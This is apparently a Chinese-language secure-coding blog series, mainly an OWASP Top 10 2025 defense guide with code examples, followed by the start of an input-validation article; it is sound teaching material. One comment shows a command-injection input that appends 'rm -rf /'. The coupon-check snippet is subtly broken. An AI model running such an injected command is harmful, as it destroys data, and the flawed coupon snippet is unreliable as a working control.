密碼與機敏資料處理的核心不是「用了什麼演算法」,而是「有沒有在每一個環節都做對」。從資料的產生、傳輸、存儲、到顯示,每一步都需要正確的保護措施。就像蓋房子的保險箱,不只是買一個好保險箱就夠了——你還要把它固定在牆裡、保管好鑰匙、定期更換密碼、只讓該看的人看。

安全不是一次性的動作,而是持續的紀律。

飛飛觀點:
記住,完美的加密機制不存在,但「夠好的加密」加上「正確的管理」,可以讓攻擊者的成本高到不值得攻擊你。安全不是恐懼,而是創造的基礎——當你知道使用者的資料被好好保護,你才能安心地創造更好的產品。


十、延伸閱讀

官方資源

工具推薦

工具 用途 說明
argon2 Node.js Argon2 雜湊 OWASP 推薦首選
bcrypt Node.js bcrypt 雜湊 老牌穩定
git-secrets 防止金鑰提交到 Git AWS 開發的工具
HashiCorp Vault 金鑰管理 開源 Secrets Manager
AWS Secrets Manager 雲端金鑰管理 AWS 原生服務

[安全程式設計] 002 OWASP Top 10 2025 防禦實戰指南:十大風險逐一擊破,從觀念到程式碼的完整攻防手冊

「知道鎖壞了不夠,你得知道怎麼換一把好鎖。
OWASP Top 10 不只是一張清單,它是你防禦的施工藍圖。」
— SSDLC by 飛飛


一、OWASP Top 10 是什麼?為什麼每個開發者都該懂?

在 SSDLC 蓋房子的旅程中,我們走過了安全需求定義(確認要防什麼)、安全設計(畫好藍圖)、安全編碼基礎(學會用防火建材)。現在,是時候面對真正的敵人了。

OWASP Top 10 就像建築界的「十大常見工安事故報告」。每隔幾年,OWASP(Open Worldwide Application Security Project)會根據全球數十萬個應用程式的真實漏洞數據,整理出最危險的十大安全風險。2025 年版本是第八版,基於超過 175,000 筆 CVE 紀錄和 589 個 CWE 分析而來。

你可能會問:「我已經學了輸入驗證和輸出編碼,為什麼還需要這個?」

輸入驗證和輸出編碼是「基本功」——就像學會了怎麼接電線和鋪防火磚。但真正蓋房子的時候,你會遇到各種不同類型的風險:有人從窗戶爬進來(權限控制失效)、有人複製了你的鑰匙(認證失敗)、有人在你的建材裡摻了劣質品(軟體供應鏈攻擊)。OWASP Top 10 就是告訴你:這十種風險最常發生,你得優先防好。

飛飛觀點:
我常跟團隊說,OWASP Top 10 不是「考試範圍」,而是「體檢報告」。它告訴你全世界的開發者最常在哪裡跌倒。如果你能把這十項都防好,你的系統就已經比八成的網站更安全了。


二、2025 年版有什麼不同?從 2021 到 2025 的演進

在進入逐條解析之前,先快速看看 2025 年版的重大變化:

2021 年版 2025 年版 變化說明
A01: Broken Access Control A01: Broken Access Control 維持第一,SSRF 併入此類
A05: Security Misconfiguration A02: Security Misconfiguration 從第五躍升至第二
A06: Vulnerable and Outdated Components A03: Software Supply Chain Failures 🆕 擴大為供應鏈安全
A02: Cryptographic Failures A04: Cryptographic Failures 下降兩位
A03: Injection A05: Injection 下降兩位
A04: Insecure Design A06: Insecure Design 下降兩位
A07: Identification and Authentication Failures A07: Authentication Failures 微調名稱
A08: Software and Data Integrity Failures A08: Software or Data Integrity Failures 微調名稱
A09: Security Logging and Monitoring Failures A09: Security Logging & Alerting Failures 強調「告警」
A10: Server-Side Request Forgery A10: Mishandling of Exceptional Conditions 🆕 全新類別

兩個重點趨勢:供應鏈安全異常處理成為新焦點——這代表現代攻擊已經從「找你程式碼的洞」演進到「從你的依賴和失敗路徑下手」。


三、十大風險逐一擊破:觀念 + 程式碼

A01:2025 — Broken Access Control(權限控制失效)

用生活比喻理解: 你住的大樓,每戶都有各自的門鎖。但如果管理員不小心把所有房卡都設成通用的,任何住戶都能進別人家——這就是權限控制失效。

為什麼排第一? 根據數據,平均 3.73% 的受測應用程式存在此類漏洞,涵蓋 40 個 CWE。2025 年版還把 SSRF(伺服器端請求偽造)也併入了這個類別。

常見攻擊情境:

  • 修改 URL 中的 ID 就能看到別人的訂單:<code>/api/orders/1234</code> → <code>/api/orders/5678</code>
  • 普通使用者直接存取管理員 API
  • 前端隱藏了按鈕,但後端沒有檢查權限

防禦程式碼範例:

// Node.js + Express — 資源層級的權限檢查
async function getOrder(req, res) {
  const order = await Order.findById(req.params.orderId);

  if (!order) {
    return res.status(404).json({ error: '訂單不存在' });
  }

  // ✅ 關鍵:檢查這筆資料是不是屬於當前使用者
  if (order.userId !== req.user.id && req.user.role !== 'admin') {
    return res.status(403).json({ error: '無權存取此訂單' });
  }

  res.json(order);
}
# Python + Django — 使用裝飾器做權限檢查
from django.core.exceptions import PermissionDenied

def check_order_owner(view_func):
    def wrapper(request, order_id, *args, **kwargs):
        order = Order.objects.get(id=order_id)
        # ✅ 確認資源擁有者
        if order.user_id != request.user.id and not request.user.is_staff:
            raise PermissionDenied("你沒有權限存取此訂單")
        return view_func(request, order_id, *args, **kwargs)
    return wrapper
// Java + Spring Boot — 方法層級的權限控制
@PreAuthorize("hasRole('ADMIN') or @orderSecurity.isOwner(#orderId, authentication)")
@GetMapping("/api/orders/{orderId}")
public ResponseEntity<Order> getOrder(@PathVariable Long orderId) {
    return ResponseEntity.ok(orderService.findById(orderId));
}

飛飛觀點:
權限控制的黃金法則——預設拒絕(Deny by Default)。不是「這個 API 誰不能存取」,而是「這個 API 誰可以存取」。先全部鎖上,再一扇一扇開門。


A02:2025 — Security Misconfiguration(安全設定錯誤)

用生活比喻理解: 你買了一扇頂級防盜門,但安裝時忘了把預設密碼改掉,門鎖出廠密碼是 <code>0000</code>——這就是安全設定錯誤。

為什麼從第五升到第二? 現代系統的行為越來越依賴設定檔(configuration),從雲端服務到容器到 API Gateway,每一層都有大量的設定選項。設定錯一個,門就大開。

常見攻擊情境:

  • 開啟了 Debug 模式上線,錯誤訊息洩露完整堆疊追蹤
  • 雲端 S3 Bucket 設定為公開存取
  • 預設帳號密碼沒有修改(admin/admin)
  • 不必要的 HTTP 方法(PUT、DELETE)沒有關閉

防禦程式碼範例:

// Node.js + Express — 安全標頭與生產環境設定
const helmet = require('helmet');
const app = express();

// ✅ 使用 helmet 一次設定多個安全標頭
app.use(helmet());

// ✅ 根據環境切換設定
if (process.env.NODE_ENV === 'production') {
  app.set('trust proxy', 1);
  app.disable('x-powered-by');  // 不洩露技術棧

  // ❌ 永遠不要在生產環境啟用
  // app.use(errorHandler({ dumpExceptions: true, showStack: true }));
}

// ✅ 安全的錯誤處理:只回傳通用訊息
app.use((err, req, res, next) => {
  console.error(err.stack);  // 記錄到日誌
  res.status(500).json({ 
    error: '系統處理時發生錯誤,請稍後再試'  // 不洩露細節
  });
});
# Docker — 安全設定範例
# ✅ 不要用 root 執行應用程式
FROM node:20-alpine
RUN addgroup -S appgroup && adduser -S appuser -G appgroup
USER appuser

# ✅ 只開放必要的 port
EXPOSE 3000

# ✅ 設定唯讀檔案系統
# docker run --read-only --tmpfs /tmp myapp

安全設定 Checklist:

- [ ] 移除所有預設帳號密碼
- [ ] 關閉 Debug 模式和詳細錯誤頁面
- [ ] 移除不必要的功能、port、服務
- [ ] 設定適當的 CORS 白名單(不要用 *)
- [ ] HTTP 安全標頭已正確設定
- [ ] 雲端服務權限已最小化
- [ ] 定期審查設定變更

A03:2025 — Software Supply Chain Failures(軟體供應鏈失敗)🆕

用生活比喻理解: 你蓋房子用的水泥是跟供應商買的。如果供應商偷偷在水泥裡摻了劣質材料,你蓋出來的房子表面看不出問題,但結構已經不安全了——這就是供應鏈攻擊。

為什麼是新類別? 2021 年版只關注「過時和有漏洞的元件」,但現代攻擊者已經進化了。他們會入侵上游套件、在 npm 上發布惡意套件、甚至直接汙染 CI/CD 流程。一個被入侵的套件可以在幾小時內影響數百萬個專案。

防禦程式碼範例:

# ✅ 使用 npm audit 檢查已知漏洞
npm audit

# ✅ 鎖定依賴版本(使用 lock 檔案)
npm ci  # 而非 npm install

# ✅ 使用 OWASP Dependency-Check 掃描
dependency-check --project "MyApp" --scan ./

# ✅ 產生 SBOM(軟體物料清單)
npx @cyclonedx/cyclonedx-npm --output-file sbom.json
// package.json — 鎖定版本範圍,避免自動升級到惡意版本
{
  "dependencies": {
    // ❌ 危險:允許任何 minor/patch 版本自動升級
    "some-package": "^1.0.0",

    // ✅ 安全:鎖定精確版本
    "some-package": "1.2.3"
  }
}
# Python — 使用 pip-audit 檢查依賴漏洞
# pip install pip-audit
# pip-audit

# ✅ 鎖定依賴版本
# pip freeze > requirements.txt
# pip install -r requirements.txt --require-hashes

飛飛觀點:
供應鏈安全的核心問題是「你信任誰」。你用的每一個 npm 套件、每一個 Docker image,背後都是別人寫的程式碼。不是說不能用,而是你要知道自己用了什麼、驗證它是安全的、並且持續監控它


A04:2025 — Cryptographic Failures(加密失敗)

用生活比喻理解: 你在日記上加了一把鎖,但鑰匙就貼在日記封面——這就是加密失敗。不是你沒加密,而是你加密的方式有問題。

常見攻擊情境:

  • 密碼用 MD5 或 SHA1 雜湊(已可被破解)
  • 金鑰硬寫在程式碼裡
  • 傳輸資料沒有用 HTTPS
  • 使用已知不安全的加密演算法(如 DES、RC4)

防禦程式碼範例:

// Node.js — 正確的密碼雜湊
const bcrypt = require('bcrypt');

// ✅ 使用 bcrypt 雜湊密碼(cost factor 至少 12)
async function hashPassword(plainPassword) {
  const saltRounds = 12;
  return await bcrypt.hash(plainPassword, saltRounds);
}

// ✅ 驗證密碼
async function verifyPassword(plainPassword, hashedPassword) {
  return await bcrypt.compare(plainPassword, hashedPassword);
}

// ❌ 永遠不要這樣做
// const hash = crypto.createHash('md5').update(password).digest('hex');
# Python — 使用 Argon2 雜湊密碼
from argon2 import PasswordHasher

ph = PasswordHasher(
    time_cost=3,       # 迭代次數
    memory_cost=65536,  # 記憶體用量 (KB)
    parallelism=4       # 平行度
)

# ✅ 雜湊
hashed = ph.hash("user_password")

# ✅ 驗證
try:
    ph.verify(hashed, "user_password")
except Exception:
    print("密碼錯誤")
// Node.js — 金鑰管理:從環境變數讀取,不寫在程式碼裡
// ❌ 硬寫金鑰
// const SECRET_KEY = 'my-super-secret-key-12345';

// ✅ 從環境變數讀取
const SECRET_KEY = process.env.JWT_SECRET;
if (!SECRET_KEY || SECRET_KEY.length < 32) {
  throw new Error('JWT_SECRET 未設定或長度不足');
}

A05:2025 — Injection(注入攻擊)

用生活比喻理解: 你開了一家餐廳,客人在點餐單上寫「滷肉飯一碗」,你的服務生照做。但有一天,有人寫了「把金庫打開」——如果你的服務生照做了,那就是注入攻擊。

注入攻擊雖然從第三名降到第五名,但它仍然是CWE 數量最多的類別(38 個),涵蓋 SQL Injection、XSS、Command Injection 等經典攻擊。

防禦程式碼範例:

// Node.js — SQL Injection 防禦:參數化查詢
const { Pool } = require('pg');
const pool = new Pool();

// ❌ 危險:字串拼接
// const result = await pool.query(
//   <code>SELECT * FROM users WHERE email = '${email}'</code>
// );

// ✅ 安全:參數化查詢
const result = await pool.query(
  'SELECT * FROM users WHERE email = $1',
  [email]
);
# Python + SQLAlchemy — 使用 ORM 防止 SQL Injection
from sqlalchemy import select

# ✅ 安全:ORM 自動處理參數化
stmt = select(User).where(User.email == user_input_email)
result = session.execute(stmt).scalars().first()

# ❌ 危險:raw SQL 字串拼接
# session.execute(f"SELECT * FROM users WHERE email = '{email}'")
// Java — PreparedStatement 防止 SQL Injection
String sql = "SELECT * FROM users WHERE email = ?";
try (PreparedStatement stmt = connection.prepareStatement(sql)) {
    stmt.setString(1, userEmail);  // ✅ 參數化
    ResultSet rs = stmt.executeQuery();
}
// Node.js — Command Injection 防禦
const { execFile } = require('child_process');

// ❌ 危險:使用 exec 拼接指令
// exec(<code class="kb-btn">ping ${userInput}</code>);
// 攻擊者輸入: 127.0.0.1; rm -rf /

// ✅ 安全:使用 execFile,參數陣列分離
execFile('ping', ['-c', '4', validatedHost], (error, stdout) => {
  // 安全處理...
});

A06:2025 — Insecure Design(不安全的設計)

用生活比喻理解: 你蓋了一棟房子,牆壁用防火磚、門裝了三道鎖,但你把保險箱設計在大門旁邊——問題不在施工品質,而在設計本身就有缺陷

不安全的設計跟程式碼漏洞不同。它是架構層級的問題,再好的程式碼也救不了糟糕的設計。

防禦策略:

## 安全設計 Checklist

### 認證設計
- [ ] 登入失敗有速率限制(Rate Limiting)
- [ ] 密碼重設流程使用一次性 Token + 過期時間
- [ ] 敏感操作需要二次驗證(如轉帳、修改密碼)

### 業務邏輯
- [ ] 優惠券不能無限使用(伺服器端驗證使用次數)
- [ ] 金額計算在伺服器端進行(不信任前端傳來的價格)
- [ ] 競態條件已處理(如庫存扣減使用資料庫交易)

### 架構設計
- [ ] 使用威脅建模(STRIDE)識別風險
- [ ] 敏感資料有分級保護策略
- [ ] 有 Abuse Case 分析(攻擊者會怎麼用這個功能?)
// Node.js — 防止業務邏輯漏洞:伺服器端驗證優惠券
app.post('/api/checkout', async (req, res) => {
  const { cartItems, couponCode } = req.body;

  // ✅ 伺服器端重新計算價格(不信任前端傳來的金額)
  const serverPrice = await calculatePrice(cartItems);

  // ✅ 伺服器端驗證優惠券
  if (couponCode) {
    const coupon = await Coupon.findOne({ 
      code: couponCode, 
      usedCount: { $lt: '$maxUses' },  // 檢查使用次數
      expiresAt: { $gt: new Date() }   // 檢查過期時間
    });

    if (!coupon) {
      return res.status(400).json({ error: '優惠券無效或已過期' });
    }

    serverPrice.discount = coupon.discountAmount;
  }

  // 用伺服器端計算的金額結帳
  await processPayment(serverPrice);
});

A07:2025 — Authentication Failures(認證失敗)

用生活比喻理解: 大樓的門禁系統有問題——有人忘了設定密碼長度限制,有人的門卡永遠不會過期,有人被鎖在門外卻發現旁邊有個沒上鎖的側門。

防禦程式碼範例:

// Node.js — 安全的 Session 管理
const session = require('express-session');
const RedisStore = require('connect-redis').default;

app.use(session({
  store: new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET,
  name: '__Host-sid',           // ✅ 使用安全的 cookie 前綴
  resave: false,
  saveUninitialized: false,
  cookie: {
    secure: true,               // ✅ 僅 HTTPS
    httpOnly: true,             // ✅ 禁止 JavaScript 存取
    sameSite: 'strict',         // ✅ 防止 CSRF
    maxAge: 30 * 60 * 1000,    // ✅ 30 分鐘過期
  }
}));
// Node.js — 登入速率限制,防止暴力破解
const rateLimit = require('express-rate-limit');

const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,  // 15 分鐘
  max: 5,                     // 最多 5 次嘗試
  message: { error: '登入嘗試次數過多,請 15 分鐘後再試' },
  standardHeaders: true,
  legacyHeaders: false,
  // ✅ 以帳號為單位限制,而非只看 IP
  keyGenerator: (req) => req.body.email || req.ip,
});

app.post('/api/login', loginLimiter, loginHandler);
# Python + Flask — JWT Token 驗證
import jwt
from functools import wraps

def require_auth(f):
    @wraps(f)
    def decorated(*args, **kwargs):
        token = request.headers.get('Authorization', '').replace('Bearer ', '')

        if not token:
            return jsonify({'error': '未提供認證 Token'}), 401

        try:
            # ✅ 驗證 Token 並指定演算法(防止 Algorithm Confusion 攻擊)
            payload = jwt.decode(
                token, 
                current_app.config['JWT_SECRET'],
                algorithms=['HS256']  # 明確指定演算法
            )
        except jwt.ExpiredSignatureError:
            return jsonify({'error': 'Token 已過期'}), 401
        except jwt.InvalidTokenError:
            return jsonify({'error': 'Token 無效'}), 401

        return f(*args, **kwargs)
    return decorated

A08:2025 — Software or Data Integrity Failures(軟體或資料完整性失敗)

用生活比喻理解: 你在網路上下載了裝修軟體,但沒有驗證這個軟體是不是被人動過手腳。裝完之後,你的電腦就被植入了後門。

跟 A03(供應鏈安全)不同的是,A08 更關注你自己系統內部的完整性驗證——你信任了不該信任的資料或程式碼。

防禦程式碼範例:

// Node.js — 安全的反序列化:不要直接信任外部 JSON
// ❌ 危險:直接反序列化不可信任的資料
// const data = JSON.parse(untrustedInput);
// Object.assign(user, data);  // Prototype Pollution 風險!

// ✅ 安全:只取需要的欄位(白名單)
function safeUpdate(untrustedInput) {
  const parsed = JSON.parse(untrustedInput);
  return {
    name: typeof parsed.name === 'string' ? parsed.name : undefined,
    email: typeof parsed.email === 'string' ? parsed.email : undefined,
    // 只允許特定欄位,忽略其他所有東西
  };
}
// Node.js — 使用 Subresource Integrity (SRI) 驗證 CDN 資源
// 在 HTML 中引入外部腳本時,加上 integrity 屬性
const scriptTag = `
<script 
  src="https://cdn.example.com/library.min.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
  crossorigin="anonymous">
</script>`;

A09:2025 — Security Logging & Alerting Failures(安全日誌與告警失敗)

用生活比喻理解: 你家裝了監視器,但從來不看畫面、也沒設警報。等小偷來了又走了,你才發現錄影檔三天前就因為硬碟滿了而停止錄影。

2025 年版特別把名稱從「Monitoring」改為「Alerting」,強調光有 Log 不夠,你需要即時告警

防禦程式碼範例:

// Node.js — 安全日誌的正確做法
const winston = require('winston');

const logger = winston.createLogger({
  level: 'info',
  format: winston.format.combine(
    winston.format.timestamp(),
    winston.format.json()
  ),
  transports: [
    new winston.transports.File({ filename: 'security.log' })
  ],
});

// ✅ 記錄安全相關事件
function logSecurityEvent(event) {
  logger.warn('SECURITY_EVENT', {
    type: event.type,           // 'LOGIN_FAILURE', 'ACCESS_DENIED', etc.
    userId: event.userId,
    ip: event.ip,
    userAgent: event.userAgent,
    timestamp: new Date().toISOString(),
    // ❌ 永遠不記錄這些
    // password: event.password,
    // creditCard: event.creditCard,
    // sessionToken: event.token,
  });
}

// ✅ 應該記錄的事件
// - 登入成功/失敗(特別是連續失敗)
// - 權限被拒絕的存取嘗試
// - 輸入驗證失敗(可能是攻擊探測)
// - 敏感操作(密碼變更、權限修改、資料匯出)
# Python — 異常登入偵測與告警
import redis
from datetime import datetime, timedelta

r = redis.Redis()

def check_login_anomaly(user_id: str, ip: str):
    key = f"login_failures:{user_id}"
    failures = r.incr(key)
    r.expire(key, 900)  # 15 分鐘視窗

    # ✅ 連續失敗超過閾值,觸發告警
    if failures >= 5:
        send_alert(
            level="HIGH",
            message=f"帳號 {user_id} 在 15 分鐘內登入失敗 {failures} 次",
            metadata={"ip": ip, "timestamp": datetime.utcnow().isoformat()}
        )

A10:2025 — Mishandling of Exceptional Conditions(異常狀況處理不當)🆕

用生活比喻理解: 你家的自動門在正常情況下很安全——刷卡才能進。但有一天停電了,自動門的預設行為是「打開」而不是「鎖上」——這就是「失敗時開放(Failing Open)」,也是這個新類別的核心問題。

這是 2025 年全新加入的類別,涵蓋 24 個 CWE,專注於系統在遇到異常時的行為:錯誤處理不當、邏輯錯誤、失敗時開放等。

防禦程式碼範例:

// Node.js — Fail Secure:異常時預設拒絕
async function checkPermission(userId, resource) {
  try {
    const permission = await permissionService.check(userId, resource);
    return permission.allowed;
  } catch (error) {
    // ✅ Fail Secure:出錯時預設拒絕存取
    logger.error('權限檢查失敗', { userId, resource, error: error.message });
    return false;  // 拒絕存取

    // ❌ Fail Open:出錯時預設允許(危險!)
    // return true;
  }
}
// Node.js — 安全的錯誤處理:不洩露內部資訊
app.use((err, req, res, next) => {
  // ✅ 記錄完整的錯誤資訊到日誌
  logger.error('Unhandled error', {
    message: err.message,
    stack: err.stack,
    path: req.path,
    method: req.method,
  });

  // ✅ 回傳給使用者的只有通用訊息
  const statusCode = err.statusCode || 500;
  res.status(statusCode).json({
    error: statusCode === 500 
      ? '系統處理時發生錯誤,請稍後再試'
      : err.userMessage || '請求處理失敗',
    // ❌ 永遠不要回傳這些
    // stack: err.stack,
    // query: err.sql,
    // config: err.config,
  });
});
# Python — 資源清理:確保異常時也能正確釋放資源
import contextlib

# ✅ 使用 context manager 確保資源被釋放
@contextlib.contextmanager
def secure_db_connection():
    conn = None
    try:
        conn = database.connect()
        yield conn
    except DatabaseError as e:
        logger.error(f"資料庫錯誤: {e}")
        raise  # 重新拋出,讓上層處理
    finally:
        # ✅ 無論成功或失敗,都要關閉連線
        if conn:
            conn.close()

飛飛觀點:
這個新類別讓我特別興奮。很多開發者只測試「快樂路徑(Happy Path)」——功能正常時怎麼跑。但攻擊者專門找的是「不快樂路徑」——系統出錯時會發生什麼。你的 catch 區塊和 else 分支,才是安全的戰場。


四、2021 vs. 2025 對照速查表

排名 2025 類別 核心防禦策略 對應 SSDLC 階段
A01 Broken Access Control 預設拒絕 + 資源層級權限檢查 設計 + 實作
A02 Security Misconfiguration 安全基線 + 自動化設定掃描 部署 + 維運
A03 Software Supply Chain Failures 🆕 SBOM + 依賴掃描 + 簽章驗證 實作 + 驗證
A04 Cryptographic Failures 強雜湊 + 金鑰管理 + TLS 設計 + 實作
A05 Injection 參數化查詢 + 輸入驗證 + 輸出編碼 實作
A06 Insecure Design 威脅建模 + Abuse Case + 安全設計審查 需求 + 設計
A07 Authentication Failures MFA + 速率限制 + 安全 Session 設計 + 實作
A08 Software or Data Integrity SRI + 簽章 + 安全反序列化 實作 + 部署
A09 Logging & Alerting Failures 結構化日誌 + 即時告警 + 不記錄敏感資料 實作 + 維運
A10 Mishandling of Exceptional Conditions 🆕 Fail Secure + 安全錯誤處理 + 資源清理 實作

五、團隊落地建議:如何把 OWASP Top 10 融入日常開發

建議一:把 Top 10 變成 Code Review Checklist

不要把 OWASP Top 10 當成培訓教材看一次就好。把它變成每次 Code Review 時的檢查項目:

## OWASP Top 10 Code Review 快速檢查

### 每次 PR 必查
- [ ] A01: 新的 API 端點有做權限檢查嗎?
- [ ] A05: SQL 查詢有用參數化嗎?使用者輸入有驗證嗎?
- [ ] A10: catch 區塊的處理安全嗎?不會洩露資訊或 Fail Open?

### 設定變更時查
- [ ] A02: 新的設定是否遵循最小權限?有沒有預設不安全的值?

### 加入新依賴時查
- [ ] A03: 這個套件可信嗎?最後更新時間?有已知漏洞嗎?

### 涉及認證/加密時查
- [ ] A04: 使用的加密演算法是否足夠強?金鑰管理方式安全嗎?
- [ ] A07: Session 管理是否正確?有速率限制嗎?

建議二:從風險最高的三項開始

不要試圖一次做完十項。根據數據,先搞定前三名就能大幅降低風險:

  1. A01 Broken Access Control(影響最廣)
  2. A02 Security Misconfiguration(最容易發生)
  3. A05 Injection(後果最嚴重)

建議三:在 CI/CD 中自動化檢測

# GitHub Actions — 自動化安全掃描範例
name: Security Scan
on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      # A03: 依賴漏洞掃描
      - name: Dependency Check
        run: npm audit --audit-level=high

      # A05: 靜態程式碼分析(找 Injection 漏洞)
      - name: SAST Scan
        uses: returntocorp/semgrep-action@v1
        with:
          config: p/owasp-top-ten

      # A02: 基礎設施設定掃描
      - name: IaC Scan
        run: docker run --rm -v $(pwd):/src checkmarx/kics:latest scan -p /src

六、常見問題 FAQ

Q1:OWASP Top 10 2025 跟 2021 的差別大嗎?需要重新學嗎?

核心概念沒有大變,但有兩個重要新增:A03 軟體供應鏈失敗和 A10 異常狀況處理不當。如果你已經熟悉 2021 版,重點學習這兩個新類別,再注意各項目排名變化背後的趨勢即可。

Q2:我是前端工程師,OWASP Top 10 跟我有關嗎?

當然有。XSS(包含在 A05 Injection 中)跟前端直接相關,A01 的權限控制前端也有責任(不要在前端儲存敏感的權限判斷邏輯),A02 的 CORS 和安全標頭設定也需要前端配合。而且,前端也有自己的依賴供應鏈(npm 套件),A03 也是你的事。

Q3:做了 OWASP Top 10 的防禦就夠了嗎?

不夠,但已經很好了。OWASP Top 10 只涵蓋最常見的十大風險。你的系統可能還有特定於業務邏輯的漏洞、特定技術棧的問題等。但如果你能把這十項都做到位,你已經超越了大部分的應用程式安全水準。想更進一步,可以參考 OWASP ASVS(更詳細的驗證標準)。

Q4:Vibe Coding 時代,AI 生成的程式碼要注意哪些 OWASP 風險?

AI 生成的程式碼最常出現的問題包括:SQL 字串拼接(A05)、缺少權限檢查(A01)、硬編碼金鑰(A04)、以及缺少錯誤處理(A10)。建議把 AI 當成一個「很快但不懂安全的實習生」——它寫完之後,你要用 OWASP Top 10 Checklist 過一遍。


七、結語:OWASP Top 10 不是終點,而是起點

OWASP Top 10 已經發展了超過二十年,從 2003 年的第一版到 2025 年的第八版,它一直在反映一個事實:軟體安全的挑戰不斷演進,但防禦的基本功永遠重要。

2025 年版告訴我們幾件事:

  • 權限控制永遠是最大挑戰(A01 連續兩屆第一名)
  • 你的依賴就是你的攻擊面(A03 供應鏈安全成為新類別)
  • 系統怎麼失敗比怎麼成功更重要(A10 異常處理成為新焦點)
  • 安全不只是寫好程式碼,更是設好設定(A02 躍升至第二名)

回到我們蓋房子的比喻——OWASP Top 10 就是建築界的「十大必檢安全項目」。你不一定要拿到完美的分數,但你至少要知道這些檢查項目是什麼,然後一項一項地做好。

安全不是恐懼,而是創造的基礎。
當你知道怎麼防禦這十大風險,你就能更有信心地打造產品——因為你知道,你的房子不會因為一個小疏忽就倒塌。


延伸閱讀

[安全程式設計] 001 安全編碼基礎:輸入驗證與輸出編碼——永不信任使用者輸入的防禦心法

「你可以相信使用者會正確操作你的系統嗎?不行。
你可以相信攻擊者不會亂塞東西進來嗎?更不行。
安全編碼的第一課,就是學會對所有輸入說:『我不信你,但我會好好處理你。』」
— SSDLC by 飛飛


一、安全編碼是什麼?為什麼它是你的防火建材?

在 SSDLC 的「蓋房子」旅程中,我們已經走過了安全需求定義(確認要防震防火防盜)、安全設計(畫好建築藍圖、標好消防通道)。現在,我們來到了階段三:安全實作(Implementation)——真正動手施工的階段。

想像你是一個建築工人。建築師已經畫好了完美的藍圖,結構技師也算好了承重。但如果你施工時用了劣質的電線、沒有接地線的插座、不防火的隔間材料——那再好的設計也白搭。一場電線走火,整棟房子就毀了。

安全編碼就是軟體開發中的「使用合格建材」。 不管你的需求寫得多完整、設計做得多周全,如果程式碼本身有漏洞,攻擊者照樣長驅直入。

而在所有安全編碼的原則中,有兩條是最基礎、最重要、卻也最常被忽略的:

  1. 輸入驗證(Input Validation)——永不信任任何來自外部的資料
  2. 輸出編碼(Output Encoding)——確保輸出到不同環境時不會被誤解為指令

這兩條原則就像建築的「防火建材」和「接地線」。它們不炫目、不花俏,但少了它們,系統隨時可能「走火」。

根據 OWASP Top 10 的統計,注入攻擊(Injection)和跨站腳本攻擊(XSS) 長年盤踞在最危險的漏洞前幾名,而這兩大類攻擊的根本原因,幾乎都是輸入驗證不足或輸出編碼缺失。換句話說,光是把這兩件事做好,你就能擋下超過一半的常見攻擊。


二、永不信任使用者輸入:安全編碼的第一鐵律

2.1 什麼叫做「不信任使用者輸入」?

很多開發者聽到「不信任使用者輸入」,第一反應是:「我的使用者又不是駭客,幹嘛這麼多疑?」

讓我用一個生活場景來解釋。

假設你開了一家餐廳,門口有個點餐表單讓客人填寫。正常客人會寫「滷肉飯一碗、味噌湯一碗」。但如果有個人在表單上寫:「請把金庫打開,把錢放到後門」——你的服務生不應該照做吧?

問題是,在軟體世界裡,很多系統就是這樣照做的。使用者在搜尋框裡輸入一段 SQL 指令,系統就真的去資料庫執行了;使用者在評論欄裡放了一段 JavaScript,系統就真的在別人的瀏覽器上跑了。

「不信任使用者輸入」不是對使用者的不尊重,而是對系統的負責。

2.2 哪些東西算是「使用者輸入」?

這裡有一個很多初學者會犯的錯:只驗證表單欄位,卻忘了其他入口。

事實上,所有來自系統外部的資料都是不可信任的輸入

輸入來源 範例 常被忽略?
表單欄位 使用者名稱、密碼、Email 通常會驗證
URL 參數 <code>?id=123</code>、<code>?page=2</code> 經常被忽略
HTTP Headers Cookie、User-Agent、Referer 很少被驗證
API Request Body JSON payload、XML 資料 部分會驗證
檔案上傳 圖片、文件、CSV 驗證不完整
第三方 API 回應 金流回呼、社群登入回傳 幾乎不驗證
資料庫既有資料 之前存入的使用者內容 幾乎不驗證
環境變數 / 設定檔 <code>.env</code> 中的值 極少驗證

飛飛觀點:
你可能會說:「資料庫裡的資料是我自己存的,為什麼也不能信任?」因為那些資料可能是之前沒有做好驗證時存進去的「髒資料」。就像餐廳冰箱裡的食材,如果進貨時沒有檢查,你怎麼知道裡面沒有過期品?輸出時再次編碼,就是你的最後一道防線。

2.3 輸入驗證的五大策略

輸入驗證不是一招打天下,而是要根據場景選擇合適的策略:

策略一:白名單驗證(Allowlist)— 最推薦

只接受你明確允許的值,其他一律拒絕。就像餐廳的菜單——客人只能點菜單上有的東西。

// ✅ 白名單驗證:只接受預定義的排序欄位
const ALLOWED_SORT_FIELDS = ['name', 'price', 'created_at', 'rating'];

function validateSortField(field) {
  if (!ALLOWED_SORT_FIELDS.includes(field)) {
    throw new Error('不支援的排序欄位');
  }
  return field;
}

// ✅ 白名單驗證:只接受特定的商品分類
const ALLOWED_CATEGORIES = ['electronics', 'clothing', 'food', 'books'];

app.get('/api/products', (req, res) => {
  const category = req.query.category;
  if (category && !ALLOWED_CATEGORIES.includes(category)) {
    return res.status(400).json({ error: '無效的商品分類' });
  }
  // 安全地查詢...
});

策略二:型別與格式驗證(Type & Format)

確認輸入的資料型別和格式符合預期。

const { body, param, query, validationResult } = require('express-validator');

// ✅ 驗證各種資料格式
app.post('/api/users',
  body('email')
    .isEmail().withMessage('Email 格式不正確')
    .normalizeEmail(),
  body('age')
    .isInt({ min: 0, max: 150 }).withMessage('年齡必須是 0-150 的整數'),
  body('phone')
    .matches(/^09\d{8}$/).withMessage('請輸入有效的台灣手機號碼'),
  body('username')
    .isAlphanumeric().withMessage('使用者名稱只能包含英文字母和數字')
    .isLength({ min: 3, max: 20 }).withMessage('使用者名稱長度須為 3-20 字'),
  (req, res) => {
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }
    // 通過驗證,安全處理...
  }
);

策略三:長度限制(Length Restriction)

限制輸入的長度,防止緩衝區溢位或資源耗盡攻擊。

// ✅ 針對不同欄位設定合理的長度限制
const LENGTH_LIMITS = {
  username:    { min: 3,  max: 20 },
  password:    { min: 12, max: 128 },
  email:       { min: 5,  max: 254 },
  comment:     { min: 1,  max: 2000 },
  searchQuery: { min: 1,  max: 100 },
  address:     { min: 5,  max: 200 },
};

